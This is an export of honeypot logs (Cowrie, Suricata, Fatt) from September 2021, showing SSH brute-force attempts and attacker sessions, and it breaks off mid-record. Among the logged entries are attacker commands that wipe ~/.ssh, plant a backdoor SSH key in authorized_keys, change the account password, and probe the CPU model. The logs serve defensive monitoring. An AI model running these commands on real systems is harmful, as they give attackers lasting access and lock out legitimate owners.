32318	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:50:41.652162+03	2021-09-20 15:00:03.327716+03	{"_id": "owYLA3wBvYTbRNuEQklq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "e15c2e593db8", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:50:41.652162Z", "@timestamp": "2021-09-20T11:50:41.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
32301	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:08.049173+03	2021-09-20 15:00:03.305717+03	{"_id": "ygYKA3wBvYTbRNuEwUhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:08.049173Z", "@timestamp": "2021-09-20T11:50:08.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32302	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:50:08.815072+03	2021-09-20 15:00:03.306716+03	{"_id": "zAYKA3wBvYTbRNuEwUhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/initial] failed", "session": "317315c1520a", "@version": "1", "password": "initial", "username": "root", "timestamp": "2021-09-20T11:50:08.815072Z", "@timestamp": "2021-09-20T11:50:08.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32303	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:08.845741+03	2021-09-20 15:00:03.308716+03	{"_id": "zwYKA3wBvYTbRNuEwUht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "107.173.209.238", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.797229528427124, "duplicate": true, "timestamp": "2021-09-20T11:50:08.845741Z", "@timestamp": "2021-09-20T11:50:08.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32304	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:09.346418+03	2021-09-20 15:00:03.309716+03	{"_id": "0QYKA3wBvYTbRNuExUhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:09.346418Z", "@timestamp": "2021-09-20T11:50:09.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32305	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:10.690273+03	2021-09-20 15:00:03.310716+03	{"_id": "1QYKA3wBvYTbRNuEyUg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:10.690273Z", "@timestamp": "2021-09-20T11:50:10.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32306	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:10.690827+03	2021-09-20 15:00:03.311716+03	{"_id": "1wYKA3wBvYTbRNuEyUg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "echo -e \\"shadow123\\\\n0a09kHkVMB6O\\\\n0a09kHkVMB6O\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"shadow123\\\\n0a09kHkVMB6O\\\\n0a09kHkVMB6O\\"|passwd|bash", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:10.690827Z", "@timestamp": "2021-09-20T11:50:10.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32308	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:10.692446+03	2021-09-20 15:00:03.314717+03	{"_id": "1gYKA3wBvYTbRNuEyUg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:10.692446Z", "@timestamp": "2021-09-20T11:50:10.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
32309	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:11.269083+03	2021-09-20 15:00:03.316717+03	{"_id": "2QYKA3wBvYTbRNuEzUgk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "e667ec250b4d3fc0ca9c7c9cb5d51316edc06568b755bd8c325908b796b36886", "src_ip": "107.173.209.238", "ttylog": "log/tty/e667ec250b4d3fc0ca9c7c9cb5d51316edc06568b755bd8c325908b796b36886", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/e667ec250b4d3fc0ca9c7c9cb5d51316edc06568b755bd8c325908b796b36886 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.5788910388946533, "duplicate": false, "timestamp": "2021-09-20T11:50:11.269083Z", "@timestamp": "2021-09-20T11:50:11.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32310	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:12.515012+03	2021-09-20 15:00:03.317716+03	{"_id": "2gYKA3wBvYTbRNuE0UgN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "echo \\"shadow123\\\\n0a09kHkVMB6O\\\\n0a09kHkVMB6O\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: echo \\"shadow123\\\\n0a09kHkVMB6O\\\\n0a09kHkVMB6O\\\\n\\"|passwd", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:12.515012Z", "@timestamp": "2021-09-20T11:50:12.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32311	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:39.393255+03	2021-09-20 15:00:03.318716+03	{"_id": "lgYLA3wBvYTbRNuEOkmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:39.393255Z", "@timestamp": "2021-09-20T11:50:39.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32312	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:50:39.74871+03	2021-09-20 15:00:03.320716+03	{"_id": "lQYLA3wBvYTbRNuEOkmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.58.38.9935343109.199.241.180'", "session": "e15c2e593db8", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.58.38.9935343109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:50:39.748710Z", "@timestamp": "2021-09-20T11:50:39.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
32319	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:50:42.781878+03	2021-09-20 15:00:03.328717+03	{"_id": "pAYLA3wBvYTbRNuERklT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e15c2e593db8", "@version": "1", "duration": 3.0342657566070557, "timestamp": "2021-09-20T11:50:42.781878Z", "@timestamp": "2021-09-20T11:50:42.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
32313	8.23.139.118	109.199.241.180	Suricata	2021-09-20 14:50:40.00192+03	2021-09-20 15:00:03.321717+03	{"_id": "mQYLA3wBvYTbRNuEPEkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.58.38.9935343109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:50:39.618304+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 843, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.23.139.118", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1191007140933440, "payload": "AAAAVC4eAAAAIBOjwNGUAFyTGBqCwZkGk8Qay1cvjTd+u+3I1jtabgpi4cXCvSfkEYkqHCxBxewubFZFR6Q+ljNZiLqVUWaB24t8EDk/Aha4CR4Xbq4GPQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53446, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:50:40.001920Z", "@timestamp": "2021-09-20T11:50:40.001Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... ......\\\\...........W/.7~....;Zn\\nb....'...*.,A...lVEG.>.3Y...Qf...|.9?......n..="}}	1	\N	\N	alert	\N	\N
32314	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:39.87848+03	2021-09-20 15:00:03.322716+03	{"_id": "mgYLA3wBvYTbRNuEPUkf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.23.139.118", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53446, "timestamp": "2021-09-20T11:50:39.878480", "@timestamp": "2021-09-20T11:50:39.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32315	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:40.382779+03	2021-09-20 15:00:03.323716+03	{"_id": "ngYLA3wBvYTbRNuEPkmC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:40.382779Z", "@timestamp": "2021-09-20T11:50:40.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32316	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:40.383325+03	2021-09-20 15:00:03.325717+03	{"_id": "nwYLA3wBvYTbRNuEPkmC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:40.383325Z", "@timestamp": "2021-09-20T11:50:40.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32317	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:41.107907+03	2021-09-20 15:00:03.326716+03	{"_id": "oQYLA3wBvYTbRNuEQklq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "107.173.209.238", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.7252135276794434, "duplicate": true, "timestamp": "2021-09-20T11:50:41.107907Z", "@timestamp": "2021-09-20T11:50:41.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32320	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:43.103304+03	2021-09-20 15:00:03.329716+03	{"_id": "pQYLA3wBvYTbRNuESEnZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48876, "timestamp": "2021-09-20T11:50:43.103304", "@timestamp": "2021-09-20T11:50:43.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32321	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:50:43.381955+03	2021-09-20 15:00:03.331717+03	{"_id": "rgYLA3wBvYTbRNuESkk8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], 